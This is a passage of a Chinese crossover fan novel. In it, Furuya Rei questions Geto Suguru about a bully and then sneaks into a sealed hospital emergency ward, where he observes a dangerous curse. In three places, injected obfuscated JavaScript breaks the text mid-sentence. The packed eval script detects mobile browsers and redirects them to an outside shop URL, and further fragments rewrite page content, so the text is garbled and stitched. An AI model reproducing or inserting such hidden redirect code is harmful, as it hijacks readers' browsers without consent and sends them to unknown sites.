降谷零将加藤樱子的朋友圈大概捋了一遍,然后发现加藤樱子过往的朋友们全是女生。 而他,是近期混进去的唯一一个男生。 降谷零:…… 啊这。 原来如此,原来原因在这里啊。 降谷零有些无奈,搞半天周五那个麻烦是他自己弄出来的啊? 如果他之前不为了方便行事去刷加藤樱子的好感、和她混成朋友,也就不会被邀请去玩,自然也就不会被堵路上。 破案了的降谷零哭笑不得,行吧,自己惹出来的麻烦自己忍。 不过话又说回来,刚刚夏油杰提起了几件山本亮太干的事,听上去那小孩似乎没怎么作恶,顶多算是在调皮捣蛋? 降谷零问:“夏油同学,你说‘山本亮太看不顺眼他那一层的开水房,所以到我们这边来接水’,但接水似乎无所谓楼层吧,他是在接水的过程中做了什么吗?” 夏油杰撇撇嘴,语气不屑:“是啊,他插队,还嘲笑被插队的人。” 降谷零又问:“那‘觉得学校故意给他们班分配了旧的、不好用的工具,所以来看看’呢?他该不会跑到别人班里的工具室了吧?” 夏油杰用一副“你说对了”的神情再次点头:“就是这样。他严重打扰了别人的值日进度!” 降谷零深谙用“一起说坏话”拉近关系并套话的方法,他露出嫌弃的表情:“诶——他怎么能这样?又是插队,又是打扰别人做值日的,也太过分了!怪不得夏油同学不喜欢他呢,我也要开始讨厌他了!” 夏油杰本就因为降谷零之前夸他,还果断地说自己相信他而对他倍有好感,现在见降谷零和自己同仇敌忾,对象还是他最讨厌山本亮太,夏油杰的话匣子瞬间就打开了。 “没错!果然你也这么觉得吧!他是真的很讨厌!” “我给你讲,他不止干过这些事情!” 夏油杰明显攒了一堆不满,有降谷零这个同盟在听,他立刻就噼里啪啦地倒了一箩筐吐槽。 “他曾经跑到我们楼层,说看见有人把他叠的纸飞机拿走了,‘犯人’是我们这层的学生,还挨个拦住人质问是不是拿了他纸飞机。” “拜托!一个纸飞机而已,谁会拿啊!我们自己不会叠吗?” “还有一次,他不知道怎么带了一只鹦鹉来学校,到处炫耀说这是他的新宠物。结果一共没看住,鸟在我们楼层乱飞,还到处乱拉,闹得乱哄哄的。” “烦死了!养鸟就算了,居然还带到学校里,他不看校规的吗!” “哦对,还有。他还和他那群跟班在楼梯上比赛谁跳楼梯跳得多,还让正常路过的学生给他们让道。” “什么毛病啊!他怎么好意思提这么无礼的要求的?” 22.第 22 章 夏油杰絮絮叨叨地抱怨山本亮太曾经惹过的麻烦,降谷零则认真听着,时不时附和一句,并精准捕捉夏油杰的吐槽重点,和他一起谴责山本亮太。 得到正反馈的夏油杰更停不下来了,等说到口干舌燥时,他才后知后觉地意识到自己好像说得有点多了。 还从未在别人面前如此“失控”的夏油杰罕见的有些局促,抿了抿唇:“那个……我……” 降谷零则开始夸夏油杰:“没想到夏油同学解决了这么多麻烦,好厉害!” 他大大的眼睛里闪烁着崇拜的光芒:“夏油同学是怎么做到的?山本亮太每次惹出的事情都不一样,你却都能解决,我好佩服你!” “啊、这个……”夏油杰关于“如何挽回形象”的思绪瞬间被打断,“大概就是……多看看大人是怎么处理的?” “哇——那你学习能力好强!不是谁都能学以致用——我是说,不是谁都能看过就学会,还能立刻用到实践中,你好棒!” 眼见降谷零又有往疯狂夸夸夸的方向发展的趋势,夏油杰不由想起之前差点被降谷零夸到落荒而逃的经历,他耳根发热地紧急喊停:“可以了!你不要再说了!” 降谷零眨了眨眼睛:“诶?为什么?” 见降谷零一副不理解的无辜表情,夏油杰莫名其妙有一种自己反应过激的感觉,但他也不好意思说真实原因,含糊道:“……总之你别说了……” 降谷零看着夏油杰,摩挲了一下指尖,有点蠢蠢欲动。 夏油杰打了个激灵,突然有种被盯上的恶寒。 夏油杰以为自己是在害怕继续被用那样夸张的方式夸奖,他不禁唾弃自己:可恶,明明降谷君什么都没做,只是在夸他而已,他怎么就这幅反应?太不争气了! 开始谴责自己的夏油杰更不自在了,他的视线到处乱飘,最后落在天空上,然后强行转移话题:“啊,不知不觉都到这会儿了,我们是不是该回家了?” 降谷零:。 夏油杰语气干巴巴的,完全是棒读式讲话,降谷零心下好笑,抱憾放弃原本继续逗孩子的打算:“是诶,确实该回家了。” 他冲夏油杰笑笑:“今天和夏油同学聊天非常开心,我从你身上学到了很多,希望还能有下一次!” 乖巧的下垂眼型配上亮晶晶的眼睛,再加上真诚的夸赞……夏油杰感觉自己又要烧起来了:“啊……可、可以啊,你想的话,我、我可以教你更多……” “真的吗?太好了!”降谷零弯起眼睛,“我会期待的!” ——期待你的新情报。 夏油杰每天跑东跑西的,还经常干涉学校内的冲突,想必认识的人也不少,值得发展。 总之,一条情报线get√。 对降谷零真正心思一无所知的夏油杰清了清嗓子,郑重点头:“当然,我一向说话算数。” “好!那夏油同学再见。” “下次见。” 两人就此告别。 降谷零拐去超市的方向,边走边回忆刚刚夏油杰说的关于山本亮太的事情。 从这些叙述看,山本亮太的那些行为基本都可以归为“吸引注意力”的幼稚手段。 想到这些,降谷零有些失笑,果然还是孩子呢。 不过也不能就这样放任,因为山本亮太已经有了“集结小圈子”和“带人堵人”的行为,再加上他的性格看上去很强势,要是不及时干预,很可能会往霸.凌的方向发展。 稍微关注一下好了,顺便看看教师那边对山本亮太是什么态度和看法。 降谷零做好打算,便开始挑今晚的食材。 …… 从超市回来,天色已经变得昏暗,降谷零拎着购物袋往楼梯走。 恰在此时,他听见一声抱怨:“搞什么啊……市中心那家医院的急诊今天居然不接待,还让我拉到新医院去——新医院那么远,来得及吗!” “啊?之后?之后肯定是拉去新医院了啊,我总不能真跟他们耗着吧?那人可受不了。” “啧,谁知道呢?莫名其妙。” 降谷零顺着声音看过去,发现是一个穿着夹克衫牛仔裤的秃头壮汉,没记错的话,这个男人住在他斜后方的那栋楼,是个开货车的司机。 对方还在打电话,话题已经从医院离开,正在和朋友约酒局。 降谷零收回视线,进了单元门,爬楼间思索着男人刚刚提到的“急诊封锁”。 从常理来讲,在医院正常运营的前提下,急诊是不可能封锁的。 而能让医院只封锁急诊的情况……降谷零想到了在他原世界时遇到的一些案子,那些无一例外都是恶性案件,比如炸.弹,或者是挟持人质之类的。 那么刚刚那个人提到的“封锁”是什么情况呢? 想到这个世界的特殊性,一个可能性出现在降谷零的脑海中。 ……会不会和咒灵有关呢? 医院,承载着人的生老病死,是最容易集聚负面情绪的场所之一,出现咒灵似乎是理所当然的事情。 想到这种可能,降谷零就有点蠢蠢欲动。 假如真的是咒灵,那在医院那种地方诞生的咒灵级别应该会很高吧?而且一定会有专人负责处理吧?能去现场看一次,他的情报库一定又能多出不少东西。 降谷零的大脑疯狂运转。 刚刚那个男人没说自己是什么时候去的医院,但听他的话的意思,既然是“今天”不接待,那么医院急诊封锁的时间应该不会短,所以他现在赶过去说不定能看见正剧。 退一步讲,就算他去晚了,但残留下来的东西也是情报,比如残秽之类的。 而且医院人多口杂,随便打听一下就能拼凑出不少细节。 降谷零左思右想,想不到不去的理由,于是他立刻改变行程,将购物袋和书包随手扔在玄关,立刻就奔着地铁站去了。 …… “……到了。感谢您的乘坐。请带好随身物品。” 降谷零随着人流走出地铁站,朝着目标出站口走去。 早在到这里的第一天,降谷零就记住了住所附近的地图和公共交通的路线,现在他不需要看路牌,就知道医院的方向在哪里、怎么走。 离医院越近,来往的人和车就越多,降谷零压了压帽檐,走到了公告板下。 他扫过各种通知和宣传,在上面找到医院布局图,确定了急诊楼的方向,向那边走去。 但降谷零尚未靠近,就看见急诊楼前拦了一圈的警戒线,周围还分散着三四个警察。 降谷零对这一幕简直不要太眼熟,这一看就是出事了,还是那种能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133703|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上社会版面头条的负面新闻。 警戒线那边停了几辆私家车,每个警察面前都堵着人,降谷零没有过去,但那边吵吵嚷嚷的,即便隔了一段距离也能听见焦急的争论声。 降谷零竖起耳朵听他们的对话。 民众这边说的大概内容就是质问为什么不能进急诊、什么时候能进之类的,稍远一点的位置还有人三三两两地聚在一起在看热闹;而警察的回答都很官方,没有太多信息量。 降谷零听了几句就没再听下去,他将目光移向周围的围观人群。 多手消息虽然会失真,但里面未必没有有用的东西。 降谷零放轻脚步,静悄悄地溜到了离他最近的三个中年妇女的身后。 “……还没放开吗?这都几个人了?” “谁说不是呢,都快一天了吧?” “不止呢!我听说昨晚那边就不太对劲。” “啊?这么久了吗?到底什么情况啊?这拦着不让人进,万一耽误治疗怎么办?” “自认倒霉呗,还能怎么办?” “要我说这些人就别和这些没用的警察掰扯了,赶紧换个医院送啊!真是的!” 降谷零:…… 降谷·前·被迫没用的警察·现·确实没用的小学生·零感觉自己有被冒犯到。 他又听了一会儿,除了之前得到的时间线索没再出现新线索,他就换了下一个围观人群听墙角。 这次是两个青年男性。 “……我给你讲,我爸之前就住院了,我在这边待了很久了,急诊那边之前就……啧啧。” “我也听我妈说了!好像持续很久了!就是……咳咳,不太干净,是吧?” “是是!你也听说了?果然我该给我爸转个院吧?” 听见“不太干净”,降谷零的心重重跳了一下,难不成……? 他看了一眼已经在商量往哪里转院的人,再次换了个地方蹲下。 …… 八卦的力量是伟大的,而能发泄对社会不满的八卦和涉及非科学的八卦更加受人欢迎。 连续听了四五个墙角,降谷零在一堆没用的信息中,成功总结出事情大概的前因后果: 从半个月前起,这家医院的急诊就经常出现莫名其妙的事故——也就是传说中的闹鬼,比如电子设备无规律干扰,物品微幅移动,爆发多起本没有必要的冲突。 但院方坚持是误会,并声称已在连续排查后解决了所有问题。 然而院方其实并没有给出详细的原因,也没有写明调查的过程,只说“解决了”。 不过鉴于急诊楼内包括医护、病患和家属在内的每个人,要么来去匆匆,要么忧心忡忡,再加上这些事情都不起眼,楼内并没有多少人真正关注这些事情。 楼外其实也一样没多少人真正在意,他们基本都是在八卦,给自己平平无奇的就诊生活找点打发时间的事情。 ——直到在这个通告发出没多久后的现在,急诊楼被封锁了。 然后舆论就炸了,各种大聪明全都冒出来开始“早就xxx”了。 对此,旁听完充满了“听说”和逻辑稀碎的“推理”的降谷零一笑而过,看向莫名有些阴森的急诊楼。 道听途说到底不靠谱,所以他准备自己进去看看具体情况。 23.第 23 章 降谷零环视了一圈周围,找了一个没人注意的角落,猫腰从警戒线下面钻过去,沿着灌木丛的阴影靠近急诊楼。 此时天色已经变得昏暗,负责警戒的人又被家属拖住,降谷零一路顺畅地溜到了急诊楼门口。 急诊楼的大门是关着的,平日里灯火通明的大厅现在一片黑暗。再往上看,其余的窗户也都是黑着的,没一盏亮着。 居然彻底清场了……降谷零稍稍蹙眉,感觉自己之前的猜测的可能性再次飙升。 如果是那样,那么他这一趟的价值不可估量,这将是又一次的情报大放送。 远处的车灯朦朦胧胧地射过来,拉长了草木的影子,降谷零摸了摸自己裤子口袋内的装备,左右看了看,向一旁的安全通道走去。 走到紧闭的铁门前,降谷零一边侧身倾听里面的动静,一边套上手套。确定里面安静后,他握住把手,把沉重的门拉开一条缝隙。 门轴发出嘶哑的声音,降谷零拉着门等了几秒,确定没有动静出现后才小心地拿出小镜子,借着反射从门缝往里看。 一层的安全通道里没有窗户,视野可及范围内一片黑暗,降谷零只能看清门口被月光照亮的一小片区域,不过听声音应该是没有异常。 他收起小镜子,回头又观察了一下四周,然后将门拉大走进去。 抵着门轻声合上,降谷零站在原地缓了几秒,适应了明暗的变化后抬脚往前走。 之前他在外面特意观察了急诊楼的布局,急诊楼虽然一共就三层,但每层的横向面积很大,明显采用了“横向拓展”的模式,因此这个急诊楼左右两边都有安全通道。 降谷零首先选择了背对警戒线的右侧安全通道,现在他打算从这边的三楼往下查,看看能不能发现什么反常的地方,然后再去另一边也重复一遍。 顺便,如果没猜错的话,这栋急诊楼的正中间应该也有一个安全通道通往楼背后,到时候降谷零也会在那边复刻一遍。 按照医院一般都有的监控布设来看,每层能称得上是死角的部位只有病房内部和卫生间内部。 所以,如非必要,降谷零不能轻易离开安全通道进入急诊楼内部,否则就会被监控拍到,而他暂时没办法去总监控室清除监控画面。 这时候就会格外怀念有人善后的日常了,不论是公安还是组织信息部的那群犯罪分子,随便来一个都行啊…… 降谷零看着眼前的路过的第一扇消防门叹了口气。 话又说回来……不知道这里的医院的监控设备有没有独立电源,没有的话或许可以试试断电?反正人都撤离了,也不会影响病患的治疗。 但是下一秒降谷零就自己否了这个提议,因为他没办法确定断电后是不是所有监控设备都停止工作了,谨慎起见,他不能赌,否则第二天被处理这件事情的所有相关方堵在家里质问就搞笑了。 直来直往的路走不了,降谷零就只能退而求其次,从安全通道“旁击侧敲”地收集情报,他抬头看向通往二楼的楼梯。 安全通道的指示牌亮着荧荧的绿色光芒,落在惨白的墙上有些刺眼。 降谷零往楼上走去。 漆黑的影子开始张牙舞爪地忽闪跳动,一会儿大,一会儿小,一会儿长,一会儿短。 楼上的情况隐没在朦胧的黑纱后,鞋底摩擦的声音若隐若现,成为目前打破寂静的唯一动静。 路过窗边时,降谷零恰好看到了隔壁灯火通明的住院部,有人在打电话,有人在削苹果,有人在看书,其热闹场景和这边形成鲜明对比。 突然,一个想法冒了出来:降谷零感觉自己像极了恐怖片里的主角,还是不听劝执意主动作死的那种。 毕竟……月黑风高夜,被封锁的医院,广为人知的灵异传说……这些标签叠在一起后,怎么看怎么眼熟,尤其是这个世界里确实有不科学的存在,这种既视感就更强了。 降谷零不禁想:也不知道是撞鬼更吓人,还是撞咒灵更吓人。 就他而言的话,大概是前者更吓人吧?毕竟现在他能自己物理超度后者——如果对面不强的话。 果然,隔壁国家的网友说得对,人的恐惧就是来源于火力不足,所以要赶紧把实力提升上来,再把咒具之类的东西提上日程。 降谷零收回视线,快速眨眼,又适应了一下短暂的明暗变化,继续往上走。 他最后停在三楼消防门前站定,垂眸思索着之前看到的线索。 一路走来,从脚下的楼梯,到身侧的扶手,再到角落和墙壁,楼梯间里没任何特别的地方,每一处看上去都干干净净的,由此可以推断,在彻底封锁急诊楼前,楼内人员的撤离并不匆忙。 想当初米花中心医院出现意外的时候,紧急撤离时楼梯间的混乱简直让人不忍直视,除了因为匆忙掉落的各种各样的东西,还有人受伤了——虽然警方很努力地封锁消息了,但世上没有不透风的墙,所以还是走漏了风声,大家逃命逃得很急。 所以从这个角度看,这次很大可能是撤离的人并不知道发什么了什么,现场才能这么干净。 好,这下基本九成九的可能是出现了咒灵,否则降谷零想不到还有第二种可能,在情况严重到需要封锁大楼的前提下,让人全部撤离,却又没有因为走漏风声而导致人群恐慌。 有一说一,如果不是真的亲身经历、知道这个世界上有咒灵,那么除了那些本就信非科学的人,就算疏散时走漏风声说“撤离是因为有鬼”,其他人也只会嘲笑对方脑子有问题吧? 唔……这便是咒术界“隐藏”的目的之一吗? 降谷零收回有点跑远的思绪,重新专注当下。 既然是咒灵,那应该有残秽,降谷零凝神开始重现检查楼梯间的地板和墙壁,连天花板都没放过,但什么都没有发现。 他又探头,从扶手间隙往楼下看,依然没有发现咒力残秽。 降谷零将视线落在天台的门上,下一秒他又摇了摇头,不大可能在天台上。 假如急诊楼真的像猜测的那样诞生了咒灵,那么根据咒灵诞生的规律,它基本只会在出现曾经人来人往的楼内,降谷零重新看向三楼的消防门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138089|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他上前走近消防门,前倾身体,偏头将耳朵凑近,将大半注意力都放在听力上,仔细捕捉着门后每一个动静。 但同时,为了防止咒灵突然破门而出,降谷零不忘保持重心在后的姿势,暗中紧绷着身体,随时准备应对突发状况。 随着降谷零的动作静止,楼梯间重新恢复安静,在他有意的克制下,连呼吸声都微不可闻,只余心脏牵动肌肉时的轻微震动。 “……” 蹲守是一种耐心活,为了情报,降谷零已经做好了每扇门耗费半小时的准备,但令他意外的是,他再一次被投怀送“报”了——情报的报。 一开始是一片寂静,然后不知从什么时候开始,隐约有窃窃私语的声音从远处飘荡传来,音调忽高忽低,偶尔还伴随刺啦声响起。 降谷零下意识凑近大门,想要听得更清楚一些,好分辨到底是些什么动静。 渐渐的,随着音源靠近,原本混在一起的无序的声音变得清晰起来,降谷零首先听到的就是不断重复的两个字—— “……我先……我先……我先……” 低哑扭曲的呢喃声穿过厚重的消防门,回荡在空旷的楼梯间。 降谷零的脑海中瞬间拉起警报声。 在他的脑子反应过来前,他浑身的肌肉就已经条件反射地被调动起来,让他迅速避开大门,背身靠在了门侧的墙边。 这是……咒灵的声音? 降谷零无意识睁大眼睛,脑海中迅速浮现起之前风使给他发的有关咒灵的资料,其中有一条说:高等级的咒灵会有语言能力,虽然非术士听不见,但从术士的角度来看确实算得上是在“说话”。 除此之外,还有一条说:等级越高的咒灵,越可能有类似人类的“智慧”,也越可能有可以沟通的能力。 所以,这只咒灵是几级? 四级不用考虑,三级只会无意识发出咆哮、呻吟等基于本能的噪音,而现在这个能发出简单的词汇,那么至少也有二级,甚至可能是一级…… 降谷零的心脏在胸腔内用力地锤击肋骨,擂鼓般的震动在耳边炸开,恍惚间甚至压过了其余一切声音,成为楼梯间的主旋律。 一级……降谷零闭上眼无声吐息,然后压下眉眼看向消防门。 消防门内窸窸窣窣,时不时伴随着几声叮铃哐啷的响动,两者交织成令人头皮发麻的动静,仿佛有重物在拖行,又被撞上杂物。 随着距离的拉近,门对面的声音越来越清晰,降谷零靠在墙边,身体扭曲:腿是一副下一秒就要跑的样子,手是一副蠢蠢欲动想要拉开门的样子。 感情告诉他:反正只要不对视,咒灵基本就不会发现他能看见,他也就不会有危险,这条在石田夫妻那里已经验证过了,所以可以莽! 理智则在死命地拉扯他:那只咒灵根本就是小喽啰,和一级不是一个水平的,不能类比,万一玩脱了死都不知道怎么死的,所以不能莽,要苟! 降谷零的手握拳又松开,松开又握拳。 冷不丁的,“碰瓷然后回家”的念头再度升起。 24.第 24 章 ——不不不,这次不能说是碰瓷,这次是……这次是英勇就义! 现在去拉开门,小心一点探查咒灵的线索,如果没被发现,他就拿到了情报。 如果不幸被发现,就先反击逃命。 假如能赢,情报到手,实战经验也到手。 假如失败,那么自己大概人也没了,会触发契约的条件,他能直接回家,一步到位。 算下来,这根本就是一个稳赚不赔的买卖! 虽说将最后的筹码压在“这里的世界意识能在自己遇见危险后及时送走自己”这上面本身就是风险很大的赌博,但怎么说呢……好歹有能赌的几率,对吧? 更何况自家世界意识也认可了这条契约,就说明赌赢的概率是大头,这还有什么好犹豫的? 降谷零瞬间下定了要莽一手的决心。 他压了压帽檐,又抽出口罩带上,防止被监控拍到脸,然后重新悄声靠近消防门。 屏息片刻,在听见咒灵远去的动静后,降谷零用力,将消防门拉开一毫米—— “吱呀——” 降谷零瞬间心肺骤停,僵在原地。 好大的声音! 不对……是很小的声音…… 但在现在这种安静的环境里,就是听起来好响好吵! 怎么办!咒灵会发现吗? 降谷零站在原地,一动不动,更加凝神去捕捉里面的动静。 来自咒灵的怪异动静的声音仍然与刚刚别无二样,降谷零松了口气,还好,看上去咒灵的听力没有那么变态。 降谷零慢慢将门拉大到三厘米,然后他拿出小镜子,借着反射去看里面的情况。 然后,他就看见一幅能让人吐出来的场面。 只见一个体型高大、马上要顶到天花板的类蜈蚣的存在,扭着这凸那凹的躯体,缓慢地往走廊另一头挪动,行动间身上不断溢出和滴落带着点红色的黑浓液体。 “……我先……我……先……” 因为没有了门板的阻挡,呓语般的低吟更加清晰,粗砺的声音与指甲划在黑板上的动静有过之而无不及,听得降谷零眉心直跳。 大意了,下次还要备上耳塞才行。 降谷零硬着头皮,强行将扰人的背景音屏蔽在外,趁着这来之不易的机会,迅速搜集线索。 外形已经知道了,诞生原因还要进一步调查,通过反复重复的“我先”,初步推测是与就诊顺序相关的原因。 能力……这个还是跳过吧,虽然要莽,也不是一头热地莽,得不偿失的事情还是不做了——哪怕是“英勇就义”也不能这么愣头青,太明显了。 降谷零躲在门后,全方位地详细分析着这急诊楼这只咒灵的所有情况,收集着能收集到的所有线索。 正在他全神贯注时,咒灵突然回头,降谷零冷不丁在镜子里和它对上视线。 降谷零:!!!!! 那是一种怎样的感受? 冰冷。 粘稠。 仿佛陷入了只由恶意构成的泥沼。 寒意迅速蔓延,激起一片汗毛。时间就此静止,连呼吸都变得沉重,渐渐成为了一种奢望。 会死的。这样的想法充斥大脑。 “咚。” 一定会死的。他从未如此清晰地感受过死亡的触感。 “咚。” 没人可以逃过的。——逃。逃。逃! “咚。” 每一次心跳都是末路逼近的倒计时,降谷零死死抓着消防门把手的手却动不了分毫,哪怕是连“松手”这样简单的动作都做不到。 冷汗浸湿了衣领,不知从何处吹来的阴风一遍一遍轻抚他的后颈,似乎在劝慰他坦然接受命运。 死吧。人类如此渺小。 死吧。俯首于强大。 死吧。很快就可以解脱。 若隐若现的絮语在耳边喋喋不休,降谷零咬紧牙关,额角青筋暴起。 ——开什么玩笑! 降谷零用力咬住口腔内壁的软肉,疼痛和血腥味瞬间带着他挣脱出僵直状态,彻底回神。 他重新定下心神,看向咒灵。 ——原来,它早已移开视线,继续前行了。 降谷零眨了眨干涩的眼睛,不着痕迹地呼出压抑的那口气,却后知后觉地意识到肺部并没有窒息的灼烧感,余光扫到夜光手表,才惊觉刚刚连半分钟都没过。 只是对视的一瞬间就有那种压迫感吗? 甚至都不是直视,而是透过镜子…… 降谷零攥紧小镜子,掌心被圆润的边缘硌得生疼。 “哐——” 一声巨响炸起,降谷零又立刻松手去看手里的镜子,只看到咒灵挤入房门时刮下来的腐块。 降谷零:…… 降谷零用力闭了闭眼,轻轻合上消防门。 “咔嗒。” 细微的门锁声带来了宁静的安全感,降谷零转身靠在墙上,丝丝缕缕的寒气浸入后背,冻人,但又有助于清醒。 “……” 降谷零低着头静立片刻,然后动作缓慢地滑坐到地上,双手插入发间。 哈……他也是体验到害怕到腿软是什么感受了…… 当初被揪出是卧底、即将被灭口的时候,他都没有头脑空白到这种程度…… 降谷零摊开手,看向自己的掌心,压制力……吗? 他不由感慨一句:不愧是负面情绪的集合体。 那种根本没有任何动作,只是靠自身由内向外散发出来的……气场?还是说用“磁场”这个词会更好一点? 算了,都不重要。 总之,咒灵刚刚只是一动不动,就让他完全被那种“逃离危险”的身体本能给控制了,要不是他有过在组织卧底、天天走钢丝的经历,根本不能那么快夺回身体的控制权。 降谷零握拳,温暖自己冰凉的指尖的同时平复着情绪。 他静静靠坐在楼梯间,梳理着思路。 这次过来的最大收获就是知道了咒灵的危险性,假如高等级咒灵都是这种情况,那么他就要早日习惯克制生理本能——俗称脱敏。 不过高级咒灵大概可遇不可求,这种东西也不是什么值得期待的存在,所以最重要的还是提升实力。 降谷零现在彻底理解风使为什么说“实力才是根本”了,而且还特别提及是“个人实力”。 实力实力,今晚他已经不止一次提起这个词语,但与之前不同,这次提起这个词语时,降谷零忽然感到一阵荒谬。 在正常的外界社会,如果一个人遇见了危险,他的第一反应会是报警求助,然后等待救援。 可咒术界呢?在这里的第一反应居然是要提升个人实力!就连入行的提醒也是提醒去提升个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145622|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实力!因为就算能求援,你要是实力不够也等不到! 这对吗?! 荒谬。 实在是太荒谬了。 一开始降谷零还没有这种感觉,毕竟他接连遇到的两个咒灵都弱得不值一提,就算他告诉自己要时刻保持敬畏之心,但不接触就真的很难有实感。 也因此,降谷零是直到此刻才真正认识到这个世界的另一面的危险。 降谷零:太一言难尽了。 话说,尚且有自保能力的术士都这么危险,一不小心就会玩完,那这世界的普通人真的有活路吗? 顿了顿,他突然想起来,咒灵这种存在非术士不可见,而看不见就基本不会被攻击。 降谷零:。 好好好,活路是这种活路是吧,这就是所谓的“无知的快乐”? 行,真是天才般的设定。 降谷零满腹吐槽,真的很想和这里的世界意识好好扯一扯这些东西。 降谷零:他发誓,下次一定要说这些! 唉……降谷零无声叹息。 根据目前收集到的线索,咒灵出现至少有一天了,但咒术师一直没有出现,也不知道是为什么。 啊……对了,风使的资料里好像说咒术师人很少来着,所以是人手不足? 降谷零心中浮现起担忧,下意识看向消防门。 如果人手不足,咒术师来晚了的话,医院的其他人怎么办?咒灵那么危险,真的不会出现问题吗? 降谷零的眉心紧蹙。 顿了顿,他又自己按上自己的眉心,将皱起的眉头强行压下去。 别想了。 和他没关系。 他今天过来只是为了收集情报,不是为了解决麻烦。 左右这里也不是他的世界,他专心于世界意识的委托就好了,其他的事情不值得他分心。 更何况,他也没有解决这个麻烦的本事,冲上去就等于送菜。 降谷零屈指敲了敲自己的脑袋,把一些不合时宜的热心敲回去。 “……” 降谷零又在原地坐了一会儿,完全缓好后,他又挨个把其他两个安全通道也每个都跑了一次。 将能转的地方也都转了,降谷零才离开急诊楼,按原路往外面走去。 此时围在警戒线周围的人已经散去,警察均匀地间隔一段距离执勤。 但很明显,因为任务枯燥,再加上夜深了,现场也没有上司,警察们的状态并不怎么精神,还有人堂而皇之地连打两个哈欠。 降谷零:…… 训话的冲动突然就就冒出来了。 降谷零抬头看了看已经黑下来的夜空,强行把那句已经到嗓子眼的“你们就是这样做警察的吗”咽下去。 哈,退一步讲,异世界的同僚们也是一样的让人看不下去,自家人那幅半桶水的操作也不是那么令人恼火了,对吧? ——才怪。 不能比烂啊! 如果异世界的同僚们是这样工作的,那自家的人就更应该努力,然后超越他们啊! 奇怪的好胜心被勾起来后就压不下去了,降谷零开始在脑子里写写画画,计划着回去后要怎么进一步锻炼属下的工作能力。 一份堪称斯巴达训练的计划表因此顺利诞生,可惜被针对的对象们尚且不知道,还能过一段时间的无忧无虑的幸福生活。 25.第 25 章 不过话又说回来,异世界同僚们这种松懈的工作状态也不是没好处,至少能方便降谷零进一步补足之前没能收集的情报。 抱着这种想法,降谷零先从原处绕出警戒线,然后借着树木的阴影,轻声靠近两个聊天的警察。 一个小肚子微微突出的警察摸了摸自己的肚子,抱怨:“换班的人什么时候来啊?我饿了……你呢?” 另一个年轻一点儿的瘦高个感受了一下,点头:“我也有点了。中午没吃什么,现在又在这里站了一个下午……” 顿了顿,瘦高个加了一句:“刚刚劝患者离开的时候,话也说了好多,我现在还有点渴。” 小肚子警察咂咂嘴:“你不提还好,你一提我也有点渴了。” 小肚子警察环视一圈:“这附近没有自动售货机啊……要是买的话,估计得去医院的楼里。” 瘦高个侧身看了看其他的警察,语气带着怂恿:“咱们要不要问问他们,然后选个代表去买点东西?” 小肚子警察也看向不远处也在和同伴闲聊的警察:“好主意。但不太行,换班时间马上就到了,指不定什么时候来人呢。” 瘦高个和他对视一眼:“好吧,你说得对。” 两个人同时遗憾地叹了口气,听上去很痛心疾首。 降谷零:…… 糟糕,不能再看了,不然又想喊“你们是怎么当警察的”了。 降谷零眼不见心不烦地背过身,但耳朵不能堵起来,所以他被迫听两个警察东拉西扯了好久“夜宵吃什么”的讨论。 之后大概是越聊越饿,他们终于换了话题。 小肚子警察问:“明天还要来值岗……所以那什么专家到底什么时候来啊?我真的不想再被来看病的人围住了。” 不是,等等,听这个小肚子警察的意思,这种“等待”是常有的事情吗? 降谷零的脸皱起一瞬,这个世界到底是什么苦上加苦的世界啊? 瘦高个回答:“不知道。我才想问呢,为什么医院急诊楼突然要专家?要专家就罢了,居然要我们封锁等待,而且还一副很危险的样子,却又没其他的安排?” 小肚子警察听见这话顿了顿,压低声音道:“专家和封锁的事情你就别问了,这情况虽然不常发生,但很重要,你待久了就知道,现在安心听派守着就行。” 降谷零听见这话回头看了一眼,也不知道另一个瘦高个想了些什么,一副恍然大悟的样子,然后比着手势,眼神坚定地保证一定完成任务。 降谷零:。 虽然但是,这家伙的脑子里绝对演了好一出大戏。 降谷零再次不忍直视地闭上眼。 接着,这两个人的话题又换了,提起了各种工作和生活中的琐事。降谷零又等了等,确定没有其他什么有用的信息后,悄无声息地离开。 从医院出来后,降谷零按照来时的路乘地铁返回。 在地铁上,降谷零一手抱着栏杆,一手打开手机浏览器,开始在医院官网和本地论坛搜索资讯。 可惜目前暂时没有什么特别值得关注的,就连今天急诊拒诊的解释都是一句简单的“我院急诊因突发重大紧急事件,现需立即启动最高级别应急预案,暂时无法正常接诊”。 再往下看,就是和其他医院合作的应对措施,其余多出来的也都是套话,什么“对患者的不便感到抱歉”之类的。 降谷零将医院的官网收藏,以便后续追踪结果。 …… 披着月色回到公寓,降谷零简单地吃了顿饭,坐在电脑前继续看之前在地铁上没看完的论坛帖子。 